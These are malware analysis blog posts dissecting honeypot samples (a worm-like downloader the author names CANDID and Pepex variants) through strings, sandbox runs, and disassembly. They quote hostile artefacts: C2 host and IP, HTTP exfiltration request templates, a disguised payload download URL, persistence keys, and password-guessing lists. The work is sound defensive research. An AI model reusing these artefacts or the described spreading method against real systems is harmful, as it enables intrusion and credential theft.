Looking at it in PEview again, the number of data directories (0x10) and TLS table (there isn’t one) looks fine from an anti-debugging perspective. There are six imported libraries: advapi32, kernel32, mpr, netapi32, and ws2_32. Interesting imports from each include:

AdvApi32
I see RegCreateKeyExA, RegSetValueExA, and RegCloseKey all of which tell me that 1) we can probably look for host-based signatures in the registry and 2) this might indicate how the malware achieves persistence.

Kernel32
I see DeleteFileA, WriteFile and CopyFileA which are always nice to see for host/file system signatures. GetTickCount can be used in an anti-debugging context, but it could also be used to generating random numbers. GetComputerNameA and GetVersion are probably part of a system inventory. CreateProcessA is another great one because this indicates that we might have another process to look for, and therefore another signature. GetSystemDirectoryA suggests that something is done in %system%, possibly this is where the malware installs itself or maybe it does something with a legitimate system file. Sleep can be interesting depending on how it’s used in the malware. I see CreateThread and VirtualAlloc, but not the rest of the stuff for process replacement. I’m also not seeing WriteProcessMemory or CreateRemoteThread, which I would look for to indicate injection. I see GetCommandLineA, which can be a good place to look at during manual unpacking. I see TerminateProcess, so maybe this is one of those annoying ones that will respawn itself and terminate the parent multiple times to make debugging annoying.

Mpr
We see WNetAddConnection2A imported. This function can either 1) make a connection to a network or 2) redirect a local device to a network resource. It’ll be interesting to see how this is used in the malware.

NetApi32
NetUserEnum is imported, which retrieves information about user accounts on a server. NetScheduleJobAdd is also imported, which is both deprecated and allows you to run a job at a specified future time and date. NetRemoteTOD is imported, which allows one to obtain the time of day from a server, which I would presume is used to trigger the scheduled job suggested by the previous import.

Ws2_32
We see WSAStartup, which is the beginning of the networking function and can be a good place to look for plaintext traffic (usually if there is encoding/obfuscation, it’s going to be around networking functions such as send or recv). I see gethostbyname, so we should observe a domain being resolved. I see connect, send, socket, but interestingly I don’t see recv. It’s possible that this function is obfuscated and is called during execution, but it almost appears that this file only sends data.

KANAL doesn’t indicate any standard crypto signatures, but if the .data section really is packed, then we might not see them (or, they might be non-standard but that’s unlikely).

Turning to the strings, we first see a familiar sight:

candid2

Line after line of truly unforgivable passwords. “password” is in there too. Some other real winners include internet, ihavenopass, home, god, computer, database, baseball, and 2600. Below these horrendous passwords we see an interesting block of text:

PHIME2005
Software\Microsoft\Windows\CurrentVersion\Run
/SYNC
%s\ipc$
TaskOK
dnsapi.exe
CopyOK
%s\admin$\system32\dnsapi.exe
LoginOK
\\%s
%d.%d.%d.%d
%04d%02d%02d%02d%02d%02d
GET /updata/TPDA.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s HTTP/1.1
Host: fukyu.jp
1.003
125.206.117.59
GET /updata/TPDB.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s&lg7=%d HTTP/1.1
Host: fukyu.jp
NONE
URLDownloadToFileA
urlmon.dll
DeleteUrlCacheEntry
wininet.dll
http://fukyu.jp/updata/ACCl3.jpg
\msupd.exe

LOTS of good stuff here. Not sure what PHIME2005 is, but I’ll keep an eye out for that. The next line looks like where the malware sets up persistence in the registry. There are references to a couple of executable files here – dnsapi.exe and msupd.exe. These might be filenames used by the malware to make a legitimate-looking copy of itself into %system%. I see what look like possible status updates being sent back to a controller (TaskOK, CopyOK, LoginOK). There’s the skeleton of an IP address and then an actual IP address hardcoded (125.206.117.59). This IP leads to NTT Communications Corporation in Tokyo. I see two additional libraries listed here (urlmon.dll and wininet.dll) along with some interesting functions (URLDownloadtoFileA and DeleteUrlCacheEntry). Wininet.dll is a higher-level networking library, which means that the author won’t have to “fake” as much traffic info (such as headers) since the networking traffic will use the signatures of the host. This also means that there probably won’t be any peculiar header or other signatures for part of this malware’s activity as it will blend in fairly well with the host’s regular traffic. We see what looks like HTTP GETs and also a hostname of fukyu.jp along with an address of http://fukyu.jp/update/ACCl3.jpg. I’m going to guess that this is where the malware goes to update itself after being run. There may even be a C2 function here – the author might put files out here with updated instructions for the malware to pick up and execute. Fukyu.jp is registered to “Government Publications”, so I’m sure it’s totally legit and not shady at all…I also notice that this domain was registered on 20MAR2006 and expires on 31MAR2017… pretty cool that this domain has been around for so long, and that this malware is so old.

I want to see if I can get the .jpg mentioned in the strings. I can’t seem to resolve fukyu.jp. I tried the 125.206.117.59 address, but didn’t get much there either. I did see, however:

PORT STATE SERVICE
113/tcp closed ident
2000/tcp open cisco-sccp
5060/tcp open sip

I had to use the -Pn flag in nmap to get this info. I need to see more of what the malware’s activity is before I feel comfortable coming to more conclusions about this address. I feel like this might be a malicious site, but perhaps it’s not. I think it’s too early to say, but info from threatcrowd.org isn’t looking good for 125.206.117.59:

candid3

Notice that fukyu.jp sends info to this IP.

At this point, my feeling about this malware is that it tries to download updates or additional instructions from a website, and that it tries to find other users on the network where it is run and then attempts to gain access to those accounts using those awful passwords listed above. It also appears to achieve some stealth and persistence. I need to move on to dynamic analysis and further on in order to say more about what this sample does.

Dynamic Analysis

I gathered observations on two runs of this malware, first as a regular user and the second one as an admin. I started examining the results from the user run, which is what I typically do because I want to see if the malware runs into any issues or does any kind of privilege escalation.

I saw what appeared to be strings related to the registry and specifically to making the malware run at startup, but RegShot didn’t really show too much that was meaningful happening in the context of the malware (nor did it show any files written or deleted that appeared malware related, etc.). There was, however, this big block of changes:

HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\ZN\yno\haxabja.rkr: 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF FF FF FF FF 20 51 5A 5B 13 F7 D1 01 00 00 00 00
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\Modifier: “[username]”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\ModifierSystem: “[machine name”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”

Autoruns didn’t show anything being added to run at startup.

Stepping through Process Monitor, we do see something interesting – the malware attempted to add itself to run at startup under the name PHIME2005 (which we saw in the strings earlier) with the command line c:\MA\lab\unknown.exe /SYNC, but this failed due to not having appropriate access. This is interesting because first we can see a good potential signature, but also because it appears that the malware doesn’t escalate privileges because it was denied access to set this registry value.

Further on, we do see HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable being set to 0 successfully, and attempts to delete some other values:

Later, we see that it tries to delete some values (and is denied access) but successfully sets some values related to internet settings:

candid6

Towards the end, we see 101 threads being created (likely for scanning new machines, similar to a previous sample) and then alternating thread exit/creation:

candid7

Looking in Wireshark, we can see a few tens of thousands of TCP packets used for IP addresses being scanned on port 445 (SMB) which is also where we received this sample in the honeypot. For UDP, we see only a couple of hundred, but almost all of them were local (e.g., there were a couple of successful DNS resolutions on port 53, but not malware related). The other interesting traffic was on ports 137/138 (SMB), 1027/1028, 1900 (UPnP), 5007 (could be Yahoo Messenger for UDP), and 5353/5355. There wasn’t a resolution for fukyu.jp, however the malware did attempt to connect to 125.206.117.59 on port 80 (unsuccessfully – it never received a response from the SYN packet).

I didn’t see any calls to WriteFile or DeleteFileA. One other thing that I haven’t seen before while analyzing files is the following event:

candid8

I’m going to look through the recording of activity from the instance run as administrator to see what’s different. Looking in RegShot as a first step, one thing that we see immediately is that the following registry value is successfully added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005: “C:\MA\lab\unknown.exe /SYNC”

We can also observe this in autoruns:

candid9

Otherwise we see essentially the same behavior. Wireshark also revealed essentially the same traffic as before when run as a regular user. Similarly, nothing significant seemed to happen when this malware was run with the /SYNC argument, however I’d like to see in the disassembly what is supposed to happen with this argument.

After trying all of this, I ran Fakenet and then re-ran the malware, and something interesting happened:

candid10

First, you can see that the malware attempts to resolve the fukyu.jp address, and then makes an HTTP GET request on port 80 to the link we saw in the strings earlier. Then we see this strange dialog box with an error message related to the file we saw referenced in the strings. Looking back through the Process Monitor results, you can see that the malware does try to access this file when it runs, however it didn’t successfully do this until I was running Fakenet. In this case, the error came from how Fakenet serves its own .jpg to the malware instead of the actual .jpg that would have been located at the malicious domain. I suspect that if this file was still available at fukyu.jp/update/ACCl3.jpg, that it would have been downloaded and executed. My guess is that this is a Windows executable that was renamed as a .jpg file. I’d really like to get my hands on this file… I’ll give some thought as to how this could be accomplished. I think at this point I’ve exhausted most of what I can do statically and dynamically, and will turn to disassembly and debugging to see what else I can get out of this sample.

Disassembly and Debugging

As soon as I opened this in Ida, I was a bit relieved because quickly going through it didn’t reveal anything that looked too horrific in terms of flows or obfuscation. The first important thing we see happening in the main function is that networking is started and the filename of the process is obtained:

candid11

Below that we see the filename that we just obtained having the /SYNC argument appended and then this is used to modify the registry to achieve persistence:

candid12

Then, we see a few calls to some subroutines and then a loop before the final cleanup and exit. Notice that 0x64 (100 decimal) is pushed on to the stack and this is used to control the loop, hence the 101 threads we saw created earlier during the dynamic analysis:

candid13

I’m going to start going through these subs in order starting with 401E00:

candid14

Looking here, the first action taken is a string is created based on the system directory and the string \\msupd.exe. If this file can be opened (so we get a non-zero return to EAX), then we don’t follow the conditional jump and move towards the return on the left. If we cannot open this file (so, most likely because it doesn’t exist) we follow the conditional jump towards the right where we take the string to download the ACCl3.jpg file from fukyu.jp and then call LoadLibraryA to import wininet.dll. Following these series of conditional jumps, we import the function DeleteUrlCacheEnrty, then import urlmon.dll and then import UrlDownloadToFile. Right after this function is imported, we see an indirect call (annoying) which is almost certainly the call to UrlDownloadToFile because we then see a call to CreateProcessA which matches the behavior that the malware exhibited during dynamic analysis. Seems to me that the file downloads ACCL3.jpg to the %system% directory as wsupd.exe. After this we see cleanup by calls to CloseHandle and then return to the WinMain sub.

The next sub is 401BF0. This one begins with several calls from ws2_32.dll related to establishing networking. We see a call to inet_addr with 125.206.117.59 as an argument (pretty much confirming to me that this is a shady address, if the other research didn’t make it clear enough) and then a call to connect. We then see the malware gathering system information. First, there’s a call to 401A70 which establishes a local date/time group:

candid15

Returning from 401A70, we see calls to GetLocaleInfoA and GetComputerNameA, surely as part of a system inventory, and then a call to 401FE0. This sub tries to resolve the fukyu.jp domain name as its most important contribution to the overall function of the malware. Below this we see a call to GetUserNameA and then we see all of this information, including the string “1.003” (which I suspect might be a version number for this malware), being turned into a string that is then used to send an HTTP GET request to /update/TPDB.php with the string info as arguments:

candid16

This is the last important thing this sub does, and then we see cleanup and a return to WinMain. Back there, we see that the sub that is called as part of the loop that creates the 101 threads calls the sub 401870, which I’m sure is going to be pretty interesting once we take that apart.

Sub 401870 calls GetTickCount and the _srand before entering a loop. There are several nested loops here, but the part of the nested loops that do the “reaching out” to the remote systems repeats 256 times before the overall loop starts all over again. The first thing this overall loop does is a bunch of setup for various parameters and then four calls to sub 401140 which consists of a call to _rand and a SAR instruction. We can see the construction of an IP address. There is a call to 401150 which handles relatively uninteresting validation, and then we reach another conditional jump:

candid17

If we’re successful with generating the IP address, then we continue and call 4011F0 which does the actual connection to the IP address being scanned. If the scan is successful, there’s additional work done with the data returned and then a subsequent call to 4011F0 for followup, then further down we see a call to 4012B0.

4012B0 is a very interesting sub. Here’s a snapshot of the initial block of code:

candid18

We start to see the beginnings of the setup to start trying usernames and passwords and a reference to IPC. There’s a call to WNetAddConnection2A, and then we either exit if unsuccessful or we continue with this sub. If we continue we then see the call to NetUserEnum, and if we continue being successful then we eventually reach an area where we see a pointer to a username being passed to another sub 401430. This sub passed the start address of our block of unforgivably bad passwords (starting at 408030 in .data land) and then starts iterating through that list, passing the username and password pointers to another sub, 401490. This sub then starts trying to connect to other machines with the list of passwords and enumerated usernames:

candid19

candid20

If we’re actually successful – we see that the malware calls GetLocalTimeDate and then creates a string to report the successful login to its controller:

candid21

If you look in the %system%\system32\ folder on my test machine, you’ll find a file called dnsapi.dll but not dnsapi.exe. Looks like successful logins get stored in that file that is clearly meant to blend in well with the legitimate files in the system32 directory. Then, the malware gets really cute:

candid22

candid23

OK – so it takes this data about the successful login, and puts that info in the log file. Then it calls 401AE0 which updates C2 about the data in a manner similar to the ones already observed (a call to the /updata/TPDA.php file located at 125.206.117.59). Then we see:

candid24

And then the branches:

candid25

If it can successfully schedule the job (call to NetScheduleJobAdd), it then goes and reports this information to C2. If it cannot, then it just deletes the file (dnsapi.exe). I think I’m going to take a look at this later in the debugger just to see if I can get more clarity on what exactly is going on. My impression is that data is being saved into this dnsapi.exe file and if a job cannot be schedule with this data, then the file is deleted to help cover the malware’s tracks. I’d like to try to force it to go to this code and see if I can get more observations that will help figure this out. Either way, this sub ends with a cleanup and return to the previous sub.

That’s basically all for this malware. Next up I’m going to try to look in some of the recorded data and the debugger and see if I can get anything else out of this. As I go along, I’ll put some of the things I see along the way in the debugger.

Here we see a random IP that was generated within sub 401870 (specifically at 40191F):

candid26

This one happened to be a China Unicom address.

We see that it’s trying to connect via IPC:

candid27

We’re in the right area now:

candid28

Watching this in the debugger, I see what it’s doing is making a copy of itself and putting it in the %system%\system32\dnsapi.exe path and then scheduling the copy to run as a job. If successful, it reports such to C2 with two different calls (one to report CopyOK and another to report TaskOK). If it can’t make this copy, then it deletes itself. I was wrong about my earlier thought that this was storing data there – I think that since I saw it achieve persistence early on (via the registry), I figured this must be something else, but looks like this malware just wants to make especially sure that it has a foothold on the host system. The successful activities of the malware (for instance, successful logins to user accounts) gets reported to the C2 system at 125.206.117.59 which means that this file doesn’t need to keep anything local to exfiltrate later.

I didn’t see any consistent naming for this sample online, and most scanners refer to it as a generic malware/downloader. Since this was a pretty “friendly” sample, without anti-analysis aspects, obfuscation, packing or much else that would make my job harder, and since there appears to be a two-part aspect to it, I’m going to name this one CANDID.

Findings and observations:
Downloader that tries hard to establish itself in a system via multiple methods of persistence and also aggressively spreads to other remote and local systems. Exfiltrates data regarding compromised accounts to a C2 server that still exists but appears to be out of service, at least as far as this malware is concerned.

Recommendations:
Running this in user mode (i.e., not with admin privileges) did prevent one of the persistence methods from being successful (the registry edits) but might not keep the other method from being successful (installation in the %system%\system32 directory). Even so, keeping users running at a level of access appropriate for their roles and tasks at hand is recommended. As this malware spreads via SMB on ports 445 and 137/138 it’s recommended to block or otherwise secure these ports and services. Blocking access to the C2 sites at fukyu.jp and 125.206.117.59 should prevent the malware from reporting its actions to the C2 controller and should also prevent the malware from receiving updates and instructions.

Conclusion:
An interesting but not very hardened malware sample that steals credentials from users and reports this to its controller.

Report:MalEXE004pdf

Hashes:
MD5:e42ae0e10b29f1b36e75fde65c1f788a
SHA1:c156a8344029bf3d5db5fe959d7b860069b1c037
SHA256:c74197710c01332990b294b77fbb3e2060df2a3d8492295895723d93a9fcd766
ssdeep:768:cHC0p5mwel+twV39TD8mRF5rKJZsF6No2:X0p5mwelJ9TD8mv5ImGo

Working Pepex Followup

Posted on August 30, 2016 - August 12, 2016 by rhyolite

I tried working on unpacking the file found in the .rsrc section of the Pepex variant that I analyzed, and had mixed results. I first tried a couple of things like simply looking for a far jump in a disassembly (like with UPX), which didn’t work. I can’t say I’m too surprised, but I figured I would give it a try. I tried running the original malware and then patching the code to force the branch where the file is loaded and executed, but the file that drops is just the packed file from .rsrc (in this case, dropped as %system%\system32\LSASvc.exe).

Next I tried putting breakpoints on Kernel32.LoadLibraryA and Kernel32.LoadLibraryW which showed that a couple of libraries were loaded (GDI32 and imm32). However, the binary keeps failing shortly after the calls to GetProcAddress for various functions from imm32 and GDI32 complete. I notice a string on the stack that says:

pepexfu1

So, it clearly knows it’s being messed with. Not sure if this had something to do with what I was trying to do in the debugger, or if it just didn’t like being taken out of the .rsrc section of the overall malware.

Some online tutorials suggest doing something like this:

1) find the PUSH EAX instruction following the PUSHFW and PUSHAD instructions
2) follow what’s in ESP
3) find the string 46 02 C4 FF:

pepexfu2

4) set a hardware breakpoint (on access, word) for that string
5) Run program, when BP is hit you should be close to OEP

Trying to follow this keeps resulting in exceptions/errors and crashes. However, a few lines below the original PUSH EAX instruction, I saw this:

pepexfu3

I figured that I would just check out what is at 400000, and:

pepexfu4

I see the 4D 5A magic numbers and then dumped from there. I ended up dumping the file three ways – used each of Olly’s methods of reconstructing the PE header, and then also without reconstructing it.

What I ended up with was a somewhat unpacked file from the .rsrc section and then the file from the .rsrc section that was created after patching the code to follow that branch (which is what I had originally gotten from the .rsrc section running Resource Hacker).

The unpacked file actually reveals many strings. I’ll go through some of what I find the most interesting, with the full set of strings at the end. First we see what appear to be pretty typical imports – Kernel32, User32, ADVAPI32, WS2_32 and some error message strings. Following this is the first block of function names. Some of the more interesting ones are:

VirtualAlloc, CreateThread, VirtualFree: These are some functions associated with process replacement. I’m not seeing others (such as ResumeThread, WriteProcessMemory, etc.) but perhaps I’m just not seeing them in this file because of the way it was unpacked. This is something to keep in mind as I take a look at what this executable does when run by the parent malware.

WriteFile, DeleteFileA, ReadFile, CopyFileA: I’m always happy to see these functions because it tells me there might be some obvious file system artifacts to look for, but it also makes me wonder if this file copies an existing, legitimate file somewhere else (such as a temp directory) and then does some sort of MiTM thing.

GetSystemDirectoryA, GetTempFileNameA, GetTempPathA: Related to the thoughts above regarding replacement of a legitimate file. I wonder if something happens like: 1) copy legitimate file to a temp path 2) replacement legitimate file with malicious file 3) malicious file receives input from system first before passing on to the legitimate file now residing in the temp directory so that nothing seems amiss.

FindFirstFileA, FindNextFileA: Looks like this thing will look for a specific file.

GetComputerNameA, GetVersionExA, GetDriveTypeA: Makes me think of some sort of system inventory.

CreateProcessA: Will be interesting to see what, if anything, this file creates with a call to this function.

CreateServiceA, StartServiceA: Another interesting clue that some of the other strings here might relate to a service name that this file uses when it creates a service with itself.

The smaller block of libraries and functions at the end just appears to be a repeat of what we’ve seen earlier. Below the large block of functions, we see an interesting set of strings:

Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
LSAService
Microsoft LSA Logon Authorization Service
\LSASvc.exe
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
Server
SERVERNT
Workstation
WINNT
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
*%s
C:\

Looks like the first two are some error messages specific to this sample. After that I’m going to guess that when this calls CreateServiceA and StartServiceA it calls itself LSAService/Microsoft LSA Logon Authorization Service. Next we see what appears to be some sort of system inventory creation text. I’m going to try to get this to run and see what happens dynamically.

Looking at the malware in the debugger, after the file is written from the .rsrc section, there is a call to CreateProcess with these parameters:

pepexfu5

Stepping through the parameters with the help of MSDN:

pProcessInfo: Pointer to a PROCESS_INFORMATION struct that receives info about the new process. In this run this value happens to be 18FB44.

PstartupInfo: Pointer to a STARTUPINFO or STARTUPINFOEX struct. In this run this value is 18FB00. We also see this string:

pepexfu6

CurrentDir: The path to the current directory for the process. In this run, it’s set to NULL, so the new process will have the same path as the calling process (which in our case would be c:\ma\lab\)

pEnvironment: NULL in our run, which means that the new process will use the environment of the calling process

CreationFlags: In our case this has been set to CREATE_NO_WINDOW (0x08000000). I’m going to change this to 0x00000010 (CREATE_NEW_CONSOLE) so we can see what it does:

InheritHandles: In our run, this is set to FALSE, so no handles are inherited from the main malware process.

pThreadSecurity: Set to NULL, so handles to the new thread cannot be inherited by child processes.

pProcessSecurity: Also NULL, so handles to the new process cannot be inherited by child processes.

CommandLine: The command line to be executed, which in our case is the string from above – C:\Windows\system32\lsasvc.exe -i (though on our system that’s the SysWOW64 directory since I’m running this on a Win7 VM). The -i argument is interesting. Maybe this means “-install”? I wonder if there is a corresponding -u or -r argument.

ModuleFileName: NULL, so “…the module name must be the first white space-delimited token in the lpCommandLine string…”, therefore lsasvc.exe.

After this, we see some MOVs that zero out some areas in ESP and then we see the parameters set up for the call to CreateProcessA – looks like how I want it:

pepexfu8

Running this, however, didn’t produce a console. I was hoping that since the author went out of their way to set this as CREATE_NO_WINDOW, that perhaps I could change the CreationFlags to get something to appear. In discussing this with someone online (thanks Defunct), my current thought process is that since the parent isn’t run in its own console and since this child process should be getting the parent’s STARTUPINFO struct, that could be one reason why we aren’t “seeing” anything. The malware could also have been compiled to be a GUI app and not as a console app. Anyway…

Despite this, we do see some interesting things happen when the process is run. First, Regshot reveals the following changes in the registry:

———————————-
Keys added: 2
———————————-
HKLM\SYSTEM\ControlSet001\services\LSAService
HKLM\SYSTEM\CurrentControlSet\services\LSAService
———————————-
Values added: 14
———————————-
HKLM\SYSTEM\ControlSet001\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\ControlSet001\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\ControlSet001\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\ControlSet001\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
Service”
HKLM\SYSTEM\ControlSet001\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ObjectName: “LocalSystem”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
Service”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ObjectName: “LocalSystem”

Per MSDN, the service Type (0x00000010) is a Win32 program that can be started by the service controller. The Start type (0x00000002) indicates that it should automatically load at startup. This looks to be how this other file achieves some persistence and also stealth as it tries to masquerade as a legitimate-sounding service.

Process Explorer and Process Monitor let us observe that the call to CreateProcessA spawns an LSASvc.exe process (PID 1160) and then that process terminates with another LSASvc.exe process being created (PID 2816). This new process (2816) starts listening on port 186. This is pretty interesting, because the parent malware didn’t appear to have any C2 functionality, and this might indicate how the malware can be worked with remotely.

I tried to fix the dumped file with LordPE and ImpRec, but still had issues with the file so I’m probably going to leave it be, at least for now. There were some interesting things going on in this file, though, so I’ve updated the report from the last post and am including that here. Please let me know if you have any thoughts on any of this, particularly on unpacking Petite!

Updated Report (with additions in bold): MalEXE003-updated

Full Strings:

!This program cannot be run in DOS mode.
Rich
.petite
KERNEL32.dll
USER32.dll
ADVAPI32.dll
WS2_32.dll
runtime error
TLOSS error
SING error
DOMAIN error
R6028
– unable to initialize heap
R6027
– not enough space for lowio initialization
R6026
– not enough space for stdio initialization
R6025
– pure virtual function call
R6024
– not enough space for _onexit/atexit table
R6019
– unable to open console device
R6018
– unexpected heap error
R6017
– unexpected multithread lock error
R6016
– not enough space for thread data
abnormal program termination
R6009
– not enough space for environment
R6008
– not enough space for arguments
R6002
– floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
…
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
CloseHandle
WaitForSingleObject
CreateEventA
GetLastError
lstrcatA
GetSystemDirectoryA
CopyFileA
GetModuleFileNameA
GetModuleHandleA
CreateThread
lstrcmpiA
GetVersionExA
Sleep
GetTickCount
lstrlenA
GetComputerNameA
FindClose
FindNextFileA
WriteFile
FindFirstFileA
GetTempFileNameA
lstrcpyA
GetTempPathA
CreateProcessA
DeleteFileA
ReadFile
SetFilePointer
GetFileSize
CreateFileA
GetDriveTypeA
wsprintfA
StartServiceCtrlDispatcherA
SetServiceStatus
RegisterServiceCtrlHandlerA
CloseServiceHandle
StartServiceA
CreateServiceA
OpenSCManagerA
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
ExitProcess
TerminateProcess
GetCurrentProcess
GetStartupInfoA
GetCommandLineA
GetVersion
UnhandledExceptionFilter
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
HeapDestroy
HeapCreate
VirtualFree
HeapFree
RtlUnwind
GetCPInfo
GetACP
GetOEMCP
HeapAlloc
VirtualAlloc
HeapReAlloc
GetProcAddress
LoadLibraryA
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
This file has been tampered with and
MAY BE INFECTED BY A VIRUS!
Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
LSAService
Microsoft LSA Logon Authorization Service
\LSASvc.exe
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
Server
SERVERNT
Workstation
WINNT
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
*%s
C:\
ERROR!
Corrupt Data!
ExitProcess
LoadLibraryA
GetProcAddress
VirtualProtect
GlobalAlloc
GlobalFree
GetModuleHandleA
MessageBoxA
wsprintfA
RegCloseKey
KERNEL32.dll
USER32.dll
ADVAPI32.dll
WS2_32.dll

New Pepex Variant (this one works)

Posted on August 23, 2016 - August 10, 2016 by rhyolite

I spent the morning sorting through samples from all the GRAB honeypots, and settled on a sample that happened to come in via the NYC honeypot. 50/53 detection ratio on VirusTotal, so let’s look into it in more depth.

Static Analysis

Running strings on the sample reveals only four strings that make any sense at all:

MZKERNEL32.DLL
LoadLibraryA
GetProcAddress
FILE

Looks packed to me, but not UPX like the last sample. PEiD identifies the packer as Upack 0.39 beta. I opened the file in PE Explorer and that automatically unpacked the malware (revealing many more strings than before), but I am going to take a shot at manually unpacking it anyway.

Upack is trickier than UPX, in my opinion. Opening the packed sample doesn’t show a clear jump to OEP, so I opened it in Olly and went to where the code for LoadLibraryA is found by pressing ctrl-G and then going to kernel32.LoadLibraryA, then set a breakpoint on the first instruction:

newpepex1

I watch the malware call LoadLibraryA seven times, ending with Mpr.dll, and then hitting run again causes it to run and not hit the breakpoint again. Restoring the VM snapshot, I go back to where Mpr.dll was called and then set another breakpoint on GetProcAddress, and then run through that five times until it appears that GetUserNameEx is the final function called with GetProcAddress before the rest of the program runs and the second breakpoint is no longer hit.

Stepping through the rest of that particular call to GetProcAddress and returning to the rest of the code, I’m ready to start stepping through the remains of the unpacking stub to get to the actual code entry point:

newpepex2

After following a few branches, I see what I believe to be the entry point:

newpepex3

This doesn’t look too typical for me in terms of address and code, but mainly what I was looking at here was a relatively long block of code compared with the branches I just looked at, plus starting at 756AA4E9 you can see what looks like it could be the start of a function with PUSH EBP | MOV EBP, ESP. Trying to dump that as an OEP didn’t really work – I did get something that I could disassemble and also do other analysis on, but this doesn’t seem to be the right place. Using OllyDump and its feature “Find OEP by Section Hop (Trace Over)” got me to this general area which looks much more promising:

newpepex4

Checking this against the automatically unpacked file, this is the entry point area. What’s sort of strange is that whether I dump this process from the other address above (756AA4E9) or the one right here (4023A0), I end up with basically the same dumped file and OllyDump can’t do anything with the import table. ImpRec doesn’t work either, and either way I’m left with something that doesn’t function but nevertheless offers a lot of interesting data statically or in disassembly. Since I was successful with the automated tool, I’m going to move on to static analysis of the unpacked sample that I obtained with PE Explorer.

Going through the meaningful strings from the unpacked malware, we now see a more normal set of sections:

.code
.data
.idata
.rsrc

I don’t typically see a .code section, but this must be the equivalent of the .text section containing the sample’s code. I also don’t usually see .idata, but this should have the import function info which I’m more accustomed to finding in the .rdata section. I’m guessing that something is contained in .rsrc, but we’ll get to that later.

I see some function names, and date/time strings, but then I see a very long list of three digit numbers (here’s just an excerpt):

130
131
132
133
134
137
139
140
143
144
210
200
201
202
203
210
211
218

I wonder if this is being used in some fashion to “construct” IP addresses. I notice that some of the “special” numbers like 239 and 255 are not included in this list, though if this is what it’s being used for, one would think you’d see numbers below 130 also. These could also be ports.

Below this, I see some interesting strings that remind me of some of the stuff revealed in my analysis of Pepex:

gmail-smtp-in.l.google.com
john@barrysworld.com
google.com
wbInfo0801@gmail.com
whInfo0802@gmail.com

That SMTP server is an exact string from the Pepex sample I took apart previously. Those other addresses could make for some interesting signatures once we get to that point. After this, we see many strings of inexcusably horrendous passwords (crap like 1234, angel, password, passwd, BUMBLE, asdf, asdfgh, 4321, db2admin, and so on).

I see what looks like the framework for constructing an IP address dynamically:

%d.%d.%d.%d|

Below that, something very interesting:

QUIT
Subject: Hello
From: <
From: “Microsoft” <information@microsoft.com>
Reply-To: “Microsoft” <microsoft@microsoft.com>
john@barrysworld.com
DATA
